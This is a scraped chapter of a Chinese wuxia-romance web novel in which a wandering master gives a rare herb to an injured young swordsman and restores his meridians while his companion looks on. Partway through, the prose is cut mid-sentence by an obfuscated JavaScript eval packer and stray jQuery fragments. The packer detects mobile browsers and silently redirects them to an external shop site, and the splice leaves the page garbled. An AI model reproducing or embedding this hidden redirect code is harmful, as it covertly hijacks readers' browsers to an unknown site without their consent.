文趣网 > 都市小说 > 南水北调 > 24. 杨萧重塑经脉
    刘晚猛地转头看他,眼里瞬间褪去灰暗,亮起真切的希冀:“你见过?什么时候?”

    “以前。”杨萧不愿多说,只模糊的提了两字。

    “那他长什么样子啊。”

    “四十多岁,是个老顽童,人倒是有意思的很。”他鲜少见过这个年纪还有如此童趣的人,所以记得很清楚。

    杨萧沉默了好一会儿才开口说话。

    “我知道他在哪,跟我走吧,不远。”

    刘晚一直跟在杨萧身后,不久就到了一处茅草屋。

    “在这儿啊?”刘晚不可置信的问了一遍。

    “碰碰运气吧。”两人躲在树后,又看的不真切,爬上树在高处就好多了。

    刘晚脖子伸的老远往屋里瞅,估计是脚下没踩稳,一股脑摔了下去,本能的想拉着身旁的杨萧,又想起他深受重伤,咬牙将双手控制住不乱抓。

    想着摔下去就摔下去,最多疼一会儿。

    过了半天,没察觉到任何疼痛,刘晚象征性的睁了一只眼。

    发现眼前是杨萧面如白纸的脸,是杨萧接住她了,刘晚看到后赶忙站直。

    “我……不怕疼,不用你接着。”尴尬脸红的说道。

    这不是重点!!!

    重点是,她才发现杨萧长的如此好看啊!!!

    面色憔悴,看着更有韵味了!

    像是天都青楼里的男子,在女子面前装柔弱,企图女子看见能够疼惜他。

    不过他们是为了哄好客人有饭吃,杨萧是真病了。

    “你……脸……??”杨萧看着刘晚的大红脸,眼中又有……奇怪的神情,也呆在了原地,不好意思的问道。

    “哦,我脸有时就会不定时的红起来,奇怪的很。”刘晚立刻蹲下拔草来掩盖自己的尴尬。

    “那还真是奇怪。”杨萧都忍不住笑出了声。

    “两位闹够了吗?”

    一道声音突然从耳边传来。

    不知何时此地竟站了一个人,没有任何声响。

    刘晚被吓了一跳。

    杨萧则稳如泰山恭敬行了礼。

    “李大侠好。”

    “说什么呢?都把我说老了。”大侠撇了撇嘴说道。

    “尊称,尊称。”杨萧陪笑道。

    “李大侠好。”刘晚也跟着行了礼,紧接着说了一句让在场所有人都震惊的话:“是你拿了清络芝吗?我们也需要,很急。”

    杨萧知道李朴是怎样的话,可没有任何人能当众说这种大逆不道的话,他倒也有些拿不准,只能慢慢移到刘晚身前。

    还时不时观察李朴的脸色。

    “废话,我不需要清络芝我拿清络芝干嘛,闲的?”李朴被这话逗的笑了两声。

    “你这小娃娃……性子倒是直得可爱。”

    李朴抱着双臂,饶有兴致地看着眼前两人,眼底带着几分戏谑,却不显恶意。

    他四十余岁,心态随性散漫,看着半点没有江湖高人的架子,倒像个常年游山玩水、随心所欲的闲人。

    “没错,清络芝是我拿的。”

    他坦然承认,语气坦荡,丝毫没有遮掩。

    刘晚心下一紧,往前踏出半步,眼神恳切又急切:“李大侠,我知道你能取此药,定是有你的缘由。可他伤势真的拖不得了,求求你,通融一次。”

    李朴目光一转,落向身侧静静立着的杨萧。

    他细细打量片刻,看着少年面色惨白、气息虚浮,看似站得稳,实则内里经脉淤堵如死结,根基早已摇摇欲坠。

    李朴微微蹙眉,淡淡开口:“山下孩童染的是风土寒毒,蔓延虽快,却不至于即刻夺命。我取清络芝,是为彻底根除全村隐患,并非急死的急症。”

    这话一出,刘晚瞬间抬头,眼里猛地亮起光。

    李朴看着她骤然亮起的眼神,又看了眼始终沉默隐忍、一声痛都不吭的杨萧,慢悠悠继续道:“倒是他。”

    “陈年旧伤、经脉寸堵、气血逆乱,内里早已烂得七七八八。寻常人,早在半月前就该倒榻不起。”

    “他身体不错。”又用戏谑的眼神看着杨萧。

    李朴收起玩笑神色,语气难得正经。

    “清络芝世间仅此一株。”

    “孩童病可缓、可拖、可慢慢调。”

    “他的伤,拖一日,废一寸。再拖几日,神仙难救。”

    刘晚心口狠狠一震,眼眶瞬间发热。

    杨萧闻声心头微怔,下意识垂眸。

    他从不愿在外人面前展露半分狼狈,更不愿让刘晚时时刻刻为他悬心。

    李朴看着两人神色,忽然笑了,恢复了那副老顽童随性模样。

    “你们也算是运气好。”

    “我这人最不吃‘大义绑架’那套。世人总喊着救多不救少、救弱不救私,我偏不认。”

    “人命不分贵贱,但分急缓。”

    他抬手掀开腰间乌木药匣的盖子。

    匣内静静躺着一株通体莹白、泛着淡淡灵气的灵药——清络芝。

    “我本打算下山救童。”

    “但今日撞见你二人,一路追来、不离不弃、不求抢夺、只求活路。”

    李朴抬眼,看向脸色苍白却身姿挺拔的杨萧。

    “武林大会瞬杀成名,傲骨铮铮,从不用伤势博同情。”

    “如今落得这般境地,依旧不卑不亢、不乞不抢。”

    “我李朴行走江湖,最敬硬骨头,也最惜命悬一线之人。”

    他指尖轻轻捏住清络芝,递出。

    “孩童的寒毒,我另有寻常珍稀草药可替代压制,虽慢几分,一样能愈。”

    “唯独你这淤堵沉疴,天下只有这一株能破。”

    “所以——”

    李朴挑眉,笑得洒脱坦荡:

    “清络芝,归你。”

    李朴指尖捏着那株通透莹润的清络芝,灵气浅浅萦绕,草木清甘的药香漫开,抚平了山间所有寒凉。

    他抬手,径直递到杨萧身前,语气坦荡洒脱:“拿着。”

    “江湖傲骨难得,活人更难得。别硬撑着糟蹋自己。”

    杨萧气息微虚,微微躬身,音色轻而郑重:“多谢李大侠成全。”

    接过清络芝。

    灵药入手温凉,丝丝缕缕纯净灵气顺着指尖肌理钻遍四肢百骸,瞬间压住了经脉里翻涌不休的钝痛,积压许久的滞涩,骤然松了一丝。

    李朴带着他们二人一同走进屋内:“你自行调息无用,沉疴积得太久,经脉早已僵死,只能我来帮你。”

    他快步走到榻边,抬手示意杨萧盘膝坐好。

    拿过杨萧手里的清络芝。

    杨萧依言落座,眉眼沉静,乖乖放松了所有紧绷的身体,不再强行硬撑。

    刘晚安静退到屋角,屏住呼吸静静站着,一双

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776020|208013||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼睛牢牢锁在两人身上,满心紧张又忐忑,不敢发出半点声响打扰。

    李朴抬手,指尖凝出温和内力,先轻轻覆在杨萧后背灵台穴上。

    “凝神,放松周身气息,莫抵抗药力。”

    话音落,他指尖运力,轻柔却精准地探入杨萧紊乱闭塞的经脉。

    与此同时,他抬手捏碎掌心的清络芝。

    剔透的灵药瞬间化作漫天莹白气雾,丝丝缕缕尽数钻入杨萧周身脉络。

    寻常灵药入药,只可温补滋养。

    可清络芝乃百年至宝,配上李朴精纯老道的引气手法,瞬间化作一股磅礴柔和的暖流,顺着僵死的经脉一寸寸冲刷蔓延。

    常年淤堵结块、早已冰冷发硬的脉络,一点点被暖意化开、熨平、疏通。

    那些数年厮杀留下的暗伤、强行运功撕裂的肌理、日积月累郁结的死血,尽数被灵气温柔剥离、涤荡、修复。

    杨萧身子轻轻一颤,眉心骤然蹙起。

    不是刺骨的剧痛,是经脉破冰重生、死结舒展的极致酸胀与酥麻,顺着四肢百骸蔓延开来,让人浑身脱力,却又通体通透。

    杨萧额前细密的冷汗层层渗出,打湿了鬓边碎发,本就苍白的面容此刻泛着淡淡的薄红。

    刘晚站在一旁,看得心口紧紧发疼。

    她看着他隐忍的模样,看着他常年冰冷的指尖慢慢回暖,看着他暗沉的气色一点点舒展,眼底满是小心翼翼的期盼与疼惜。

    李朴神情专注,指尖力道轻重有度,不急不缓,一点点梳理着他错乱颠倒的气血,将闭塞数年的经脉,尽数重新贯通、归位、稳固。

    “忍一忍,淤堵化开最是磨人,熬过去,你就能重塑经脉,还能获得一甲子的内力。”

    他低声叮嘱,手法愈发沉稳。

    半个时辰,整整半个时辰。

    茅草屋内只有极轻的气息流转声,安静得落针可闻。

    屋外山风徐徐,屋内灵气绵长。

    直到最后一处细微的经脉死结被彻底冲开,杨萧周身凝滞的气息轰然通畅,紊乱多年的内力终于平稳流转,顺着脉络周行全身。

    积压数年的沉疴、伤痛、淤毒,尽数烟消云散。

    李朴缓缓收回内力,微微松了口气,眼底掠过一丝赞许。

    “倒是个能扛的小子。”

    他直起身,收回手,语气恢复了几分随性:“好了,经脉尽数疏通,根基我已替你稳住,往后只需好好养护,再无淤堵复发的隐患。”李朴抬手指了指杨萧的白发:“头发……养养就好了。”

    杨萧缓缓睁开双眼。

    一瞬,眼底常年笼罩的灰暗疲惫彻底褪去,眸子澄澈清亮,温润透亮,褪去了久病缠身的脆弱阴郁,重归少年人该有的干净利落。

    他深深吐出一口浊气,周身轻盈通透,是数年从未有过的松弛安稳。

    再也没有每走一步都拉扯筋骨的钝痛,再也没有呼吸都滞涩憋闷的苦楚。

    刘晚快步上前,眼底藏不住的欣喜与湿润,声音轻轻发颤:“真的……完全好了?”

    杨萧侧头看她,眉眼温柔,唇角扬起一抹干净真切的笑意,轻轻颔首:“嗯,彻底好了。”

    一旁的李朴看着两人相视动容的模样,笑着摆手:“今日出手,一是惜他一身傲骨,不该困于陈年病痛,二是瞧你们二人赤诚恳切,不曾恃强抢夺、不曾咄咄逼人,值得我破例一次。”